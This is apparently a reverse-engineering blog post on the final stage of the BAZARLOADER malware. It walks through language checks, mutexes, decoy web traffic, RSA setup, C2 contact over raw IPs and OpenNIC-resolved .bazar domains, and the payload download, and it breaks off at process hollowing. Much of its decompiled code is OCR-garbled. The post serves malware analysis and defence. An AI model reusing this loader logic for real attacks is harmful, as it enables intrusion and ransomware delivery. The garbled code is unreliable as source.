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This post is a follow up on the last one on BAZARLOADER . If you're interested in how to unpack the initial stages of this malware, you can
check it out here.

In this post, we’ll cover the final stage of this loader, which has the capability to download and executes remote payloads such as Cobalt Strike
and Conti ransomware. To follow along, you can grab the sample as well as the PCAP files for it on Malware-Traffic-Analysis.net.

Step 1: Checking System Languages

Similar to a lot of malware, BAZARLOADER manually checks the system’s languages to avoid executing on machines in Russia and nearby
countries.

It calls GetSystemDefaultLangID to retrieve the system’s default language and GetKeyboardLayoutList to iterate through the system’s
keyboard layouts.
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(& TRUCT_ARR->1ib_struct_kernel32->1ib_funcs);
(SystemDefaultLangID);

max_layc \_GetKeyboardLayout t(LIE - ARR->1ib_struct_user32, o, );
Proce 3
ssHeap, 0, * max_1 t int);

>lib struct user32, max layout count, k

yout count > && lve;
(keyboard layout list[ D)

rout list);

For each of these languages, the malware checks if it's valid using a bitmask.
If the language identifier is greater than 0x43 or less than 0x18, it’s treated as valid and BAZARLOADER proceeds with its execution.

If it's in the range between 0x18 and 0x43, the difference between the language identifier and 0x18 is used as the index of the bit to be
checked in the bitmask.

The bitmask that BAZARLOADER uses is 0xD8080190C03, which is 11011000000010000000000110010000110000000011 in binary. The first
bit in the bitmask is checked if the language ID is 0x18. The second bit is checked if the language ID is 0x19, and so on...

unsigned  inte4  fastcall check language(char language ID)
I
L
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXP

result = 3
language ID -

? v2 <= )
(

result;

Below is the list of all languages from the bitmask that the malware avoids.

Romanian, Russian, Ukrainian, Belarusian, Tajik, Armenian, Azerbaijani, Georgian, Kazakh, Kyrgyz, Turkmen, Uzbek

Step 2: Run-Once Mutex

To check for multiple running instances of itself, BAZARLOADER first extracts the subauthority of a SID from its process. It does this by calling
GetTokenlInformation to retrieve the process’s token integrity level and calling GetSidSubAuthorityCount and GetSidSubAuthority to
access the subauthority of a SID.
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(
->1ib_struct_advapi32,
t i

1
]

( result )

vie = -»1lib_struct_advapi32;
i AuthorityCount = (vie, token integrity level 1-»Label.sid);

ult
vel 1->Label.sid, *s

If the SID’s subauthori
BAZARLOADER checks if the mutex “{b837ef4f-10ee-4821-ac76-2331eb32a23f}” is currently owned by any other process by calling
CreateMutexA.

If it is, the malware terminates itself. However, there is a small bug with the condition to check if the mutex object exists, which assumes it fails
to open the mutex when it actually succeeds.

mutex handle N
( mutex_handle )

I
L

mutex_handle;
vl4 5 A\RR->1ib struct kernel32;
( LastError == ERROR_ALREADY EXISTS )

E
dle(vi4, mutex_handle);

After this, the malware resolves the string “{0caaéebb-cf78-4b01-9b0b-51032c9120ce}” and tries to create a mutex with that name.
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*(& + v19) = ( *(*(& + v19) -
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)3
->1ib_struct_kernel32) =

If this mutex object already exists, the malware also terminates itself.

If the SID’s subauthority is not SECURITY_MANDATORY_SYSTEM_RID or SECURITY_MANDATORY_PROTECTED_PROCESS_RID,
BAZARLOADER still uses these two mutex names but adds the string “Global\” in front of them. This checks for the mutexes in the global
namespace instead of the per-session namespace, which allows the malware to check if it has instances running in other users’ sessions.

Step 4: Generating Random Internet Traffic

To generate Internet activities to hide its communication with C2 servers, BAZARLOADER first calls InternetOpenA to initialize the use of
WinlINet functions with the following string as the HTTP user agent.

Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

ruct_wininet = ->1lib_struct_wininet;

* (user_agent_str[vi] -

(1ib_struct_wininet, user_

The malware then spawns a thread to periodically connect to random URLs and generate noises to hide the main C2 traffic by utilizing the
following structure.

struct random_internet_thread_struct

{
HINTERNET internet_sess_handle;
HANDLE thread_handle;
random_internet_thread_struct *self;
LPCRITICAL_SECTION critical_section;
__int64 padding[4];
int creation_flag;

i

First, BAZARLOADER calls InitializeCriticalSection to initialize the structure’s critical section object, which is later used to protect accesses
to the creation_flag field.
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__int6l _ fastcall init_thread_critical_section(internet_thread_struct *internet_thread_struct, __inté4 HANDLE)

LPVOID *p_thread_param; // rdi
—intéd i; // rex

internet_thread_struct—internet_sess_handle = HANDLE;
p_thread_param = &internet_thread_struc ‘r—*se'lf
internet_thread_struct—thread_handle = ¢

(1 i; --1i )

p_thread_param = (p_thread_param + u);
}

return w_Init tica tion(LIE R —>Llib_struct_kernel32, &internet_thread_struct—critical_section);

Next, it sets the self field to point to the structure, the creation_flag field to TRUE, andcalls CreateThread to spawn a thread to perform these
random Internet operations. If it fails to create a thread, the creation_flag field is set to FALSE.

void  fastcall create thread try connecting API get(internet thread struct *internet thread struct)
I
L

void *thread handle; // rax

I

__inte4 v3; // [rsp+28h] [rbp-2eh]

( !internet_thread struct->thread handle )
{
internet thread struct-»self = internet thread struct;
BYTE(internet_thread_struct->creation_flag) = TRUE;
L (v3)
thread handle
->1lib struct kernel32,

o y_ _ -2
&internet_thread_struct->self,

)
)s
internet thread struct-»>thread handle = thread handle;
( !thread handle )
E(internet _thread struct->creation flag) = FALSE;

The thread first tries to obtain ownership of the critical section object and check if the creation flag is enabled. If it is, the malware resolves the
following URLs as stack strings.

https://google.com/api/get
https://yahoo.com/api/get
https://amazon.com/api/get
https://bing.com/api/get
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fint fastcall try connecting API get(internet_ thread struct *internet thread struct)
{

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v2 = 1_bytes();
] »1lib_struct_kernel32, v2 % i Y;
(LIE ->1ib_struct_kernel32, &internet_thread_struct-»>critical_section);
creation _flag = internet_thread rtruLt >creation_flag;
result = w ( T ->1ib_struct_kernel32, &internet_thread_struct->critical_section);
( creation_flag )

vaz[ I = H
*&va2[ ] = :
1ib struct shlwapi = ->1ib_struct_shlwapi;
Fy42 =
*&ua2[2] = H
*&va2[ ] = F
(api_get url, v42, sizeof(api_get url));
Ve = H
v45 = 0;

{
api_get url[ve] = (2 * (api_get url[ve] -
+4vb;
)
Next, the thread enters an infinite loop to start generating the traffic noises. For random number generation, BAZARLOADER uses different
functions that call the Windows API BCryptGenRandom to generate a set number of random bytes.

It randomly chooses one of the 4 URLs listed above, randomly generates the URL path segments for that, and combines the two to build the
full URL.

( TRUE )
{
random_index
*random_URL_ path segments
( —:,E _'_G':--:"' U -
{
ProcessHeap = GetProcessHeap();
full API get URL = HeapAlloc(ProcessHeap, @, i
random_URL_path_segments_1 = *random URL_path_segments;
full API get URL_1 = full API get URL;
( full API_get URL )
{
lstrcpyA(full APT get URL, get URL list[random index & 31]);
lstrcatA(full _API get URL 1, random URL path segments 1);

ARR->1ib struct wininet,
1nter‘net _thread_struct->internet sess handle,
full_API_get_URL_l,

k)
To generate the path segments, the function takes in the minimum and maximum numbers of path segments to generate and the minimum and
maximum length for each path segment.

It generates a count for the path segments randomly in the given range. For each of the segments, the malware randomly generates a string
with a random length in the given range that contains numbers and uppercase/lowercase letters.




path_segment count = () % (higher_path_segments count + - lower_path_segments count)
+ lower_path_segments_ count;
proc_heap handle = GetProcessHeap();
full path_segments str = HeapAlloc(proc_heap_handle, @, path_segment count * (upper_length +
result = a;
( full path_segments_str )
{
vil = 5
*full_path_segments_str = H
(1= 3 1 1= path_segment_count; ++i )
{

random_str length = I () % (upper_length + - lower length) + lower_length;
( t { (&full path segments str[vi1l], random str length + 1) )

{
vl4 = v11l + random_str_length;
full path_segments str[via] = '/';
vil = vi4 + 1;

}

full path_segments str[vil] = 0;
result = 1;
*output = full path_segments_str;

Finally, the malware calls InternetOpenURLA to establish a connection with the generated URL. It calls HTTPQueryInfoA with the
HTTP_QUERY_CONTENT_LENGTH flag to retrieve the content’s length, allocates a buffer with that size, and calls InternetReadFile to read
data from that URL.

internet_handle = t t (
R->1ib_struct wininet,
internet_thread struct-»>internet_sess_handle,
full API get URL 1,

( internet_handle )

http_content length 1 = 0;
lib_struct wininet = -»1ib struct wininet;
v36 = 4;
(1ib_struct wininet, internet handle, , &http content length 1,

http_content_length = http_content_length_1;
v21 = GetProcessHeap();
http buffer = HeapAlloc(v21, ©, http content length);

( http_buffer )
{

http_buffer_1 = http_buffer;
v38 = 0;
i le(
-»1lib_struct_wininet,
internet handle,
http buffer,
http_content length 1,
&v3g);
This is done repeatedly until C2 communication and payload injection are finished, which generates a lot of noise to mask the main traffic
coming to and from C2 servers.

Step 4: Cryptographic Structure Population

BAZARLOADER mainly uses the following structure for communication with C2 servers. The fields of the structure will be explained as we go
along analyzing the code.




struct __declspec(align(8)) BazarlLoader_struct

{
C2_connection_struct C2_connection_struct;
HINTERNET C2_request_handle;
HINTERNET C2_temp_request_handle;
crypto_struct crypto_struct;
SYSTEMTIME curr_system_time;
char *datetime_string;
_QWORD datetime_string_hash;
unsigned int *datetime_string_hash_len;
opennic_server_struct opennic_DNS_server_struct;
string_struct_list C2_addr_list;

3

First, it populates the crypto_struct field in the main structure. This structure contains cryptographic handles that are later used to decrypt
executables being sent from C2 servers.

The structure can be reconstructed as below.

struct crypto_struct

{
BCRYPT_ALG_HANDLE RSA_algo_handle;
BCRYPT_ALG_HANDLE SHA384_algo_handle;
BCRYPT_KEY_HANDLE RSA_public_key_handle;
BCRYPT_KEY_HANDLE RSA_private_key_handle;
DWORD RSA_public_block_length;
DWORD RSA_private_block_length;

}

The malware resolves the strings “RSA” and “SHA384” and calls BCryptOpenAlgorithmProvider to retrieve handles for these two
algorithms. The handles are stored in the corresponding fields in the crypto_struct structure.

crypto_struct—RSA_algo_handle = @iél;
crypto_struct—SHA38U_algo_handle = ©
crypto_struct—RSA_public_key_handle
crypto_struct—RSA_private_key_handle = @iél;
*&crypto_struct—RSA_public_block_length = @i6l;
for (i = @di6U; i = U; +i )

*&RSA_str[2 * i] = (0x37 * (*&RSA_str[2 * i] - 0x56) % Ox7F + Ox7F) % Ox7F;
w_lstrepyW(lib_struct_kernel32, RSA_str_1, RSA_str);
w_BCryptOpenA ithmProvider(LIB_STRUCT_ARR—lib_struct_berypt, crypto_struct, RSA_str_1, 0ié6l, 8);
*&v14[8] = OxUSEOLE;

T_ARR—Llib_struct_kernel32;

*v1l : )7
gmemcpy(RSA_str,
v = 0ied;

vle = 0;

do

I
L

#§RSA_str[2 * v5] = * (*&RSA_str[2 % v5] - Ox6E) %
+Hv5;

}

while ( v 5= 7 );
w_lstrcpyW(vl, SHA38U_str, RSA_str);
yptOpenAlgorithmProvider(
LIB_STRUCT_ARR—lib_struct_becrypt,
&crypto_struct—SHA38U_algo_handle,
SHA38U_str,
eiel,
'E]J;
Next, it resolves its hard-coded RSA public and private key blobs in memory to import their corresponding key handles.
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*RSA_str = '\b\O\OASR';
ProcessHeap = GetProcessHeap();
RSA_public_key = HeapAlloc(ProcessHeap, 8, 0x11Bui6l);
if ( RSA_public_key )
{
RSA_str[3] = '1';
w_Rtl Memory (LIB_STRUCT_ARR—Lib_struct_rpertl, RSA_public_key, RSA_str, 9i6u);
w_Rt1CopyMemory (LIB_STRUCT_ARR—Lib_struct_rpcrtd, RSA_public_key + 9, &RSA1_RAW_KEY
RSA_import_key(crypto_struct, RSA_public_key, 0x11B, @);
v8 = GetProcessHeap();
HeapFree(v8, @, RSA_public_key);
¥
v9 = GetProcessHeap();
RSA_priv_key = HeapAlloc(v9, @, OxU9Bui6l);
if ( RSA_priv_key )
{
RSA_str[3] = '3';
w_Rt1CopyMemory(LIB_STRUCT_ARR—Llib_struct_rpertd, RSA_priv_key, RSA_str, 9i6u);
Memory (LIB_STRUCT_ARR—Lib_struct_rpertd, RSA_priv_key + 9, &RSA3_RAW_KEY, Ox
RSA_import_key(crypto_struct, RSA_priv_key, Oxd9B, 1);
vll = GetProcessHeap();
HeapFree(v1l, ®, RSA_priv_key);
1
3
For each blob, the malware resolves one of the strings “RSAFULLPRIVATEBLOB” or “RSAPUBLICBLOB” and uses it to specify the blob’s
type when calling BCryptimportKeyPair to import the corresponding key handle.

vi7[e]
v17[1]
v17[2]
while ( vid )
{
*#y1l5 = *vl13;
vl3 = (v13 + 4);
vl5 += 2;
==vld;
3
LOBYTE(v28[0xE]) = ©;
ao

I
L

v20[viu] = (ex1F * (v2e[vid] - o % OxTF + OxTF) % OxTF;

+Hvld;

}

while ( vid == OxE );
w_lstrcpyW(vle, v19, v20);
vll = w_BCryptImportKeyPair(
LIB_STRUCT_ARR—Llib_struct_becrypt,
crypto_struct—RSA_algo_handle,
eiel,
vl19,
&crypto_struct—RSA_public_key_handle,
key_blob,
key_blob_len,
'E]) p
Finally, it calls BCryptGetProperty to retrieve the length of the RSA public and private cipher blocks. With this structure fully populated,
BAZARLOADER can now perform RSA encryption/decryption as well as SHA384 hashing.

Step 5: C2 Connection Through Raw IP Addresses

Prior to communicating with C2 servers, BAZARLOADER first resolves a list of raw IP addresses and writes them into the C2_addr_list field in
the main structure.

This field is a structure representing a list of string structures, both of which can be reconstructed as below.
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struct string_struct

{
char *buffer;
char *length;
char *max_length;
3
struct string_struct_list
{
string_struct *list_ptr;
__int64 count;
__int64 max_count;
3

3D6B2516M;
1AU83D25i6L;

Cc2_1P[vie] = ((exFFFFFFF5 * (C2_IP[v1e] - 3)) % Ox7F + 0x7F) % Ox7TF;
+v10;

}

while ( v1@ #* 0x19 );
concat_string_struct(&main_struct—>€2_addr_list.list_ptr, C2_IP);
.h@;
5UOF6B6B551i6U ;
Ox15713771157C1U5Ai6U ;
2BUESA157CU35A16U;

Below is the list of all IP addresses for the C2 servers used in this sample.

https://5[.1182[.]207[.]28:443

https://80[.]171[.]158[.]42:443

https://198[.]252[.]108[.]16:443

https://84[.132[.]188[.]1136:443

For each of these addresses, the malware attempts to communicate with the corresponding server and download the next stage executable.

To establish a connection, it populates the following structure.

struct C2_connection_struct

{
URL_COMPONENTSA C2_URL_components;
HINTERNET connection_handle;
__int64 connection_last_error;

}

The malware calls InternetCrackUrlA to retrieve the C2’s URL components and InternetConnectA to connect to the server.
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C2_connection_struct—C2_URL_components.dwHostNameLength = C2_hostname_len;

ProcessHeap = GetProcessHeap();

connection_handle = HeapAlloc(ProcessHeap, @, C2_hostname_len);

C2_connection_struct—C2_URL_components. lpszHostName = connection_handle;

if ( connection_handle )

{

LODWORD(connection_handle) = w_InternetCrackUrlA(

LIB_STRUCT_ARR—Llib_struct_wininet,
C2_hostname,

C2_connection_struct—C2_URL_components.dwHostNamelLength,
0,

C2_connection_struct);

if ( connection_handle )
{
LODWORD(v16) =
LODWORD(v15) = 3;
connection_handle = w_InternetConnectA(
LIB_STRUCT_ARR—1lib_struct_wininet,
internet_handle,

C2_connection_struct—C2_URL_components.lpszHostName,

C2_connection_struct—C2_URL_components.nPort,
eisd,
eied,

T

I
eisd);
C2_connection_struct—connection_handle = connection_handle;
This connection structure’s fields are then copied into the main structure’s C2_connection_struct. Here, I'm not entirely sure why they don’t
just populate the main structure directly instead.

tion_struct—»connection_handle;

nnection_struct;

main_struct_1—C2_connection_struct.C2_URL_components.dwStructSize
C2_connection_struct_1 = ection_struct_1 + u);
main_struct_1 = (

main_struct—C2_connection_struct.connection_handle = connection_handle;
n_struct_2 = C2_connection_struct;

= C2_connection_struct—>connection_last_error;

nection_struct_2—C2_URL_components.dwStructSize
ion_struct_2 = connection_struct_2 + H);

result = main_struct;
C2_connection_struct—connection_last_error
on_struct—connection_handle = &
Similarly, BAZARLOADER populates the structure below to create an HTTP request to C2. The request’s object name and HTTP verb are
resolved to be “/data/service” and “GET”.

struct C2_request_struct

{
HINTERNET request_handle;
__int64 request_error;

3
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gmemcpy (&request_object_name, v9, ©xEuiél);
v5 = 0i6lU;
vli2 = 9;
do
{
*(&request_object_name + v5) = (0x13 * (*(&request_object_name + v5) - 0x1A) % Ox7F + OxTF) % Ox7TF;
+Hv5:
¥
while ( v5 % OxE );
GET_str = 0x22A353C;
v6 = 0iel;
v8 0;
do
{
*(&GET_str + v6) = ((OxFFFFFFDC * (*(&GET_str + v6) - 2)) % Ox7F + Ox7F) % Ox7F;
Hv6;
}
while ( v6 == U );
http_open_request(&C2_request_struct, C2_connection_handle, &GET_str, &request_object_name, 0x880000);
move_request_handle_struct(&main_struct—>C2_request_handle, &C2_request_struct);
free_request_handle_struct(&C2_request_struct);
The request’'s HTTP version is resolved to be “HTTP/1.1”, and BAZARLOADER calls HttpOpenRequestA to create this request for the C2
server using the connection handle retrieved above.

It also calls InternetSetOptionA to set the timeout for receiving a response and sending the request to 300 seconds and the timeout for
connecting to C2s to 120 seconds.

for (i = @i6U; i 5= 9; +i )
vi5[i + 9] = ((OxFFFFFFC2 * (v15[i + 9] - ©x33)) % Ox7F + Ox7F) % OxTF;

LODWORD(v12) = a5;

request_handle = w_HttpOpenRequestA(
lib_struct_wininet,
connection_handle,
connection_verb,
object_name,
&v15[9],
Pi6l,
eieu,

eisu);
out_request—request_handle = request_handle;
if ( request_handle )
{
*&v15[9] = 300000;
w TntC?noTSDTOptionﬂ(
LIB_STRUCT_ARR—Lib_struct_wininet,
request_handle,
INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT,
&v15[9],
4);
v9 = out_request—request_handle;
vld = 300000;
w_InternetSetOptionA(LIB_STRUCT_ARR—Llib_struct_wininet, v9, INTERNET_OPTION_SEND_TIMEOUT, &viu, 4);
v1® = out_request—request_handle;
vl3 = 120000;
return w_InternetSetOptionA(LIB_STRUCT_ARR—Lib_struct_wininet, v1©, INTERNET_OPTION_CONNECT_TIMEOUT, &v13, 4);
BAZARLOADER then generates the HTTP header to be appended to the request. It does this by calling GetSystemTime to populate the
curr_system_time and the datetime_string field of the main structure with the current date and time.

It also generates the SHA384 hash of the datetime string to populate the structure’s datetime_string_hash and datetime_string_hash_len
fields.




system_time_1 = *system_time;
datetime_str = gen_date_time_string(&system_time_1);
main_struct—datetime_string = datetime_str;

if ( datetime_str )
¢

1
datetime_str_len = lstrlenA(datetime_str);
LODWORD(datetime_str) = SHA38U_hashing(
&main_struct—crypto_struct,
main_struct—datetime_string,
datetime_str_len,
&main_struct—datetime_string_hash,
&main_struct—>datetime_string_hash_len);
if ( datetime_str )
{
main_struct—curr_system_time = system_time_1;
3
else
{
lpMem = main_struct—datetime_string;
ProcessHeap = GetProcessHeap();
LODWORD(datetime_str) = HeapFree(ProcessHeap, 0, lpMem);
main_struct—datetime_string = @i6u;

Next, BAZARLOADER signs the generated hash with its RSA private by calling BCryptSignHash and uses this hash signature to randomly
generate the HTTP header.

Below is the form of the random HTTP header.

BAZARLOADER'’s HTTP Header
Date: Tue, 17 May 2022 20:18:27 GMT

Cookie:
CGIC=YKK%2BIFrld%2FC5FqKj%2Fq1F9a06 TOWgC4cOvCqqo3cfsyww1EwAb2TNFWqy8wBcDtObrgkjKtmIBSnsD%2Bmn2eR6MzQeUvHqOBJ

X-Tag:
f1DOF2QJkbCTJAUQiSLcIK%2BsRkiAFHGmMQusqg2an%2FAud1WpfWVK%2F6gpLmtEQ38e65ILH8bHOzUd5 1IMpkh2xmHISWpDJHgCtz56Q%2F¢

Vary:
x564msS%2Bd%2BIrc97apj6SftcyuZTeoDUdyeLRN7n%2BkEJYVoJYAeuxpHT 1XhTQ%2FywsKB7tZuNCJpid2qbr5DtOphE9Yvu2MfVTPH7nuK3y

Var:
wG852ANmM2aHtGTrbsFHawff1eBZcOMnnPFOLEWeX307UIc0fSj1ghaw%2BFIqpKs6ABhhs4ople%2Bs%2BKghT5G3jwIxRH%2FxeEYysL5AY bk
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__intéld _ fastcall get_time_and_generate_http_header(Bazarloader_struct *main_struct, _QWORD xhttp_header)

1
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

http_header_1 = 0;
populate_system_time_structs_with_curr_time(main_struct);
datetime_str_hash = main_struct—datetime_string_hash;
datetime_str_hash_len = main_struct—datetime_string_hash_len;
datetime_str_hash_signed[6] = 0i6u;
datetime_str_hash_signed_len = 0;
if ( w_w_BCryptSignHash(

&main_struct—crypto_struct,

datetime_str_hash,

datetime_str_hash_len,

datetime_str_hash_signed,

&datetime_str_hash_signed_len) )

v7 = datetime_str_hash_signed[08];
http_header_1 = generate_http_header(
main_struct—datetime_string,
datetime_str_hash_signed[6],
datetime_str_hash_signed_len,
http_header);
lib_struct_kernel32 = LIB_STRUCT_ARR—Llib_struct_kernel32;
ProcessHeap = w_GetProcessHeap(LIB_STRUCT_ARR—1ib_struct_kernel32);
w_HeapFree(lib_struct_kernel32, ProcessHeap, 0, v7);
¥
return http_header_1;
3
With the generated HTTP header and the request handle, BAZARLOADER calls HttpSendRequestA to send the request to the C2 server and
calls HttpQueryInfoA to retrieve the status code.

If the status code is not HTTP_STATUS_OK, the malware moves on to another C2 address.

http_header = get_time_and_generate_http_header(main_struct, additional_http_header);
if ( !http_header )
return 6;
additional_http_header_1 = additional_http_header[0];
additional_http_header_len = lstrlenA(additional_http_header[8]);
if ( !w_w_HttpSendRequestA(
&main_struct—C2_request_handle,
additional_http_header_1,
additional_http_header_len,
eieu,
e) )
{
ProcessHeap = GetProcessHeap();
v10 = additional_http_header_1;
vll = ProcessHeap;
ABEL_11:
HeapFree(vll, ©, v10);
return 9;
}
v12 = GetProcessHeap();
HeapFree(v12, 0, additional_http_header_1);
if ( HttpQueryInfoA_status_code(&main_struct—C2_request_handle) ¥ HTTP_STATUS_OK )
return 6;
If the status code is HTTP_STATUS_OK, BAZARLOADER calls InternetQueryDataAvailable to determine the size of data to read, allocates
the memory buffer according to the size, and calls InternetReadFile to read the next-stage payload until everything is written into memory.




receive_read_offset = 0iel;
receive_buffer = @is6l;
do
1
result = w_InternetQueryDataAvailable(
LIB_STRUCT_ARR—Llib_struct_wininet,
C2_request_handle_struct—request_handle,
&LlpdwNumberOfBytesAvailable,
e,
ei6L);
TF e
TF o
F coc
lpdwNumberOfBytesRead[0] = ©;
result = w_InternetReadFile(
LIB_STRUCT_ARR—Llib_struct_wininet,
C2_request_handle_struct—request_handle,
receive_buffer + receive_read_offset,
lpdwNumber0fBytesAvailable,
1pdwNumberOfBytesRead) ;
if ( !result )
{
C2_request_handle_struct—request_error = w_GetlLastError(LIB_STRUCT_ARR—Llib_struct_kernel32);
v13 = GetProcessHeap();
HeapFree(v13, @, receive_buffer);
return result;
}
receive_read_offset += lpdwNumberOfBytesRead[0];
3
while ( lpdwNumberOfBytesAvailable );
Finally, the malware decrypts the payload with its RSA public key by calling BCryptDecrypt and checks to make sure the payload’s size is
greater than 64 bytes and that it contains an MZ header.

if ( HttpQueryInfoA_status_code(&main_struct—C2_request_handle) = HTTP_STATUS_OK )
return @;
server_response = 0i6l;
server_response_len = 0i6l;
if ( !read_server_response(&main_struct—>C2_request_handle, &server_response, &server_response_len) )
return @;
server_response_l = server_response;
downloaded_executable_size_2 = 0;
downloaded_executable = w_w_BCryptDecrypt(
&main_struct—crypto_struct,
server_response,
server_response_len,
&downloaded_executable_size_2);
vl5 = GetProcessHeap();
HeapFree(v1l5, 0, server_response_l);
if ( !downloaded_executable )
return 09;
downloaded_executable_size = downloaded_executable_size_2;
if ( downloaded_executable_size 2 < 6U || *downloaded_executable = 0x5AUD )
{
v17 = GetProcessHeap();
v10 = downloaded_executable;
vlil = v17;
goto LABEL_11;

Step 6: C2 Connection Through Custom URLs

If BAZARLOADER fails to download the next stage executable from the IP addresses listed above, it attempts to resolve custom C2 domains
using OpenNIC, a user-owned DNS community service.

To begin querying OpenNIC’s API, the malware first resolves the URL “api.opennicproject.org” and calls InternetConnectA to establish a
connection to the site.



https://www.opennic.org/

L
opennic_proj_API_URL_str.m256i_i8[¢
do
{
opennic_proj_API_URL_str.m256i_i8[v3]

tA(
lib_struct_wininet,
opennic_server_struct—internet_handle,
&opennic_proj_API_URL_str,
x1BBu,

Bi6BL
Next, it calls HttpOpenRequestA to create a GET request handle with the object name “/geoip/?bare&ipv=4&wl=all&res=8" and send the
request using HttpSendRequestA.

By examining OpenNIC’s APIs, we can break down this object name to see what BAZARLOADER is requesting. The “bare” parameter
requests to only list the DNS server IP address, the “ipv” parameter requests to only list IPv4 servers, the “wl” parameter requests to only list
whitelisted servers, and the “res” parameter requests to list 8 servers only.

To test this, we can simply paste the path below to a browser of our choosing.

api.opennicproject.org/geoip/?bare&ipv=4&wl=all&res=8

strepy(HTTP_version, "HLH_");

do

{
#(HTTP_version + v5) = (Bx1F * (*(HTTP_version + v5) - Ox5F) % Ox7F + Ox7F) %
+Hv5:

h

while ( v5 =+ 4 );

v7 = 0i6U;

v53 = 0;

v51.m256i_i6u[e] = 82511U4473UFOA2516U;

v51.m256i_i6u[1] Ue114U1EUFUBSATTi6H ;

v51.m2561_i6U[2] 1C5A3E1C5D1E373Ei6U;

v51.m256i_i6u[3] [ 68UFUB1E1CisU;

HTTP_object_name =

o

strepy(&HTTP_verb,

EOT .

LODWORD(vU3) = )0ee6 ;

opennic_GET_request_handle = w_HttpOpenRequestA(
v6,
opennic_connection_handle,
&HTTP_verb,
&HTTP_object_name,
HTTP_version,
i6l,
ei6,

eisl);
The malware then enters a loop to call InternetQueryDataAvailable and InternetReadFile to read the 8 OpenNIC’s DNS servers into
memory.
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https://wiki.opennic.org/api/geoip

while ( w_InternetQueryDataAvailable(
LIB_STRUCT_ARR—Llib_struct_wininet,
opennic_GET_request_handle,
&HTTP_object_name,
e,
eieu) )

if ...

receive_buffer_len = content_length_2 + HTTP_object_name.m256i_u32[0];

v19 = GetProcessHeap();

opennic_DNS_servers = HeapReAlloc(v19, 0, opennic_recv_buffer_1, receive_buffer_len);

opennic_recv_buffer_3 = opennic_DNS_servers;

if ( !opennic_DNS_servers )

goto LABEL_20;

if ( 'w_InternetReadFile(
LIB_STRUCT_ARR—Llib_struct_wininet,
opennic_GET_request_handle,
opennic_DNS_servers + content_length_2,
HTTP_object_name.m256i_u32[6],
&vl6) )

v25 = GetProcessHeap();

opennic_recv_buffer_U = opennic_recv_buffer_3;
val = v25;

goto LABEL_23;

3

content_length_2 += vil6;
if ( !HTTP_object_name.m256i_i3 1)
goto LABEL_29;
opennic_recv_buffer_1 = opennic_recv_buffer_3;
For each DNS server IP address, BAZARLOADER parses it from string to int and populates the opennic_server_struct field in the main
structure. Below is the structure used to store OpenNIC IP addresses.

struct opennic_server_struct

{
_QWORD init_server_count;
HINTERNET opennic_internet_handle;
DWORD opennic_server_IP_list[7];
_BYTE gap2C[28];
_QWORD server_count;
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while ( *opennic_recv_buffer_5 && server_counter # 8 )
{
opennic_server_IP.m256i_i16[0] = 0xA;
opennic_server_IP.m256i_i8[2] = ©;
server_IP_addr = get_next_string_with_StrSpnA(opennic_recv_buffer_5, &opennic_server_IP, &HTTP_verb);
opennic_recv_buffer_5 = HTTP_verb;
server_IP_addr_1 = server_IP_addr;
v32 = lstrlenA(server_IP_addr);
opennic_server_IP.m256i_i8[0] = ©;
p_opennic_server_IP = &opennic_server_IP;
v3ld = 0;
v35 = &server_IP_addr_1[v32];
while ( 2 )
{
v36 = 0;
while ( 1 )
{
if ( v35 = server_IP_addr_1 )
{
if (v3d >3 )
opennic_server_struct—opennic_server_IP_list[server_counter+] = opennic_server_ IP.m256i_1i32[@];
goto LABEL_32;
3
v3T = *server_IP_addr_1++;
if ( v37 - '0@' = 9 )
break;
v38 = p_opennic_server_IP—m256i_u8[08];
v39 = v37 - '@' + OxA * v3B;

2r £ 1.an ere ne 1l CAA - AL

Finally, the malware decodes the following custom C2 domains, attempts to resolve them using the DNS servers, and downloads the next-
stage executable.

reddew28c[ . ]bazar
bluehail[.]bazar
whitestorm9p[.]bazar

For each of these custom domains, BAZARLOADER calls DnsQuery_A to query a DNS Resource Record from OpenNIC’s servers to resolve
the C2 server’s IP address.

for ( i = LODWORD(opennic_server_struct—server_count) - 1; i = 8; --i )
{
opennic_DNS_server = opennic_server_struct—opennic_server_IP_list[i];
DNS_record = 0i6l;
ipl_array.AddrArray[@] = opennic_DNS_server;
ipt_array.AddrCount = 1;
DNS_status = w_DnsQuery_A(
LIB_STRUCT_ARR—1lib_struct_dnsapi,
custom_C2_domain,
DNS_TYPE_A,
DNS_QUERY_BYPASS_CACHE,
&ipl_array,
&DNS_record,
Pi6U);
switch ( DNS_status )
i
case DNS_ERROR_RCODE_NO_ERROR:
IpAddress = DNS_record—Data.A.IpAddress;
w_DnsFree(LIB_STRUCT_ARR—>lib_struct_dnsapi, DNS_record, 1lu);
return IpAddress;
case DNS_ERROR_RCODE_NAME_ERROR:
w_DnsFree(LIB_STRUCT_ARR—lib_struct_dnsapi, DNS_record, 1lu);
return OxFFFFFFFF;
case ERROR_TIMEOUT:
case DNS_ERROR_RCODE_SERVER_FAILURE:
sub_204141860(opennic_server_struct, i);
break;
3
w_DnsFree(LIB_STRUCT_ARR—>lib_struct_dnsapi, DNS_record, 1lu);




After checking if the IP address is valid, the malware tries connecting to it and requests to download the next stage executable similar to what
we have seen in the previous step.

C2_domain_IP_address = manual _resolve(&main_struct—>opennic_DNS_server_struct, C2_domain);
if ( C2_domain_IP_address == FFFFFFF )
return 9;
p_C2_domain_IP_address = &C2_domain_IP_address;
do

*p_C2_domain_IP_address+ = '\xFF\xFF\xFF\xFE';
while ( &v10 ¥ p_C2_domain_IP_address );
if ( check id_IP_address(C2_domain_IP_address) )
return
a3[ex
lib_struct_user32 = LIB
gmemcpy(v1l, " PV : vF@", sizeof(v1l));

gmemcpy (a3, v11i,
for ( i = @ie6d; i +*
a3[i] = (C FFFFFDUY * (a3[i] - oxue)) % Ox7F + OxTF) % OxTF;
I wsprintfA(lib_struct_user32, C2_raw_IP, a3,
result = try_ccnnecting_ta_IP_urlCmain_struct, C2_raw_IP);
if ( result )
{
v8 = result;
add_IP_to list(main_struct, C2_raw_IP);
return v8;
}
return result;

Step 5: Injection Through Process Hollowing

After successfully downloading the next stage executable, BAZARLOADER begins the injection functionality to launch it from another process.

For this functionality, BAZARLOADER populates the following structure.

struct injection_struct

{

HANDLE browser_proc_handle;

PVOID full_exec_command;

PVOID thread_curr_directory;
